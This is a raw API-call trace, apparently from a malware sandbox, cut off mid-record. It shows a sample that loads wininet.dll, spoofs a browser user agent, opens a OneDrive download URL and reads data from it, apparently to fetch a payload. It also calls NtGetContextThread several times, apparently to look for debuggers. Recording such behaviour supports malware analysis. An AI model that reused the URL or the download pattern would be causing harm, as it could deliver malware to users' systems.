LoadLibraryA (lpLibFileName="wininet.dll") returned 0x76fd0000 [0121.645] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x76fd0000 [0121.646] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x76fd0000 [0121.646] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x76fd0000 [0121.646] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x76fd0000 [0121.646] InternetOpenA (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0121.869] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0121.869] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x2, lpBuffer=0x18fee4, dwBufferLength=0x4) returned 1 [0121.870] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://onedrive.live.com/download?cid=4C3F5C65A99DA195&resid=4C3F5C65A99DA195%21241&authkey=AGyBKeKMs6qKShY", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x84000100, dwContext=0x0) returned 0xcc000c [0129.622] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0129.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1ef0000, dwNumberOfBytesToRead=0x10000, lpdwNumberOfBytesRead=0x18fed4 | out: lpBuffer=0x1ef0000*, lpdwNumberOfBytesRead=0x18fed4*=0x10000) returned 1 [0129.693] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, 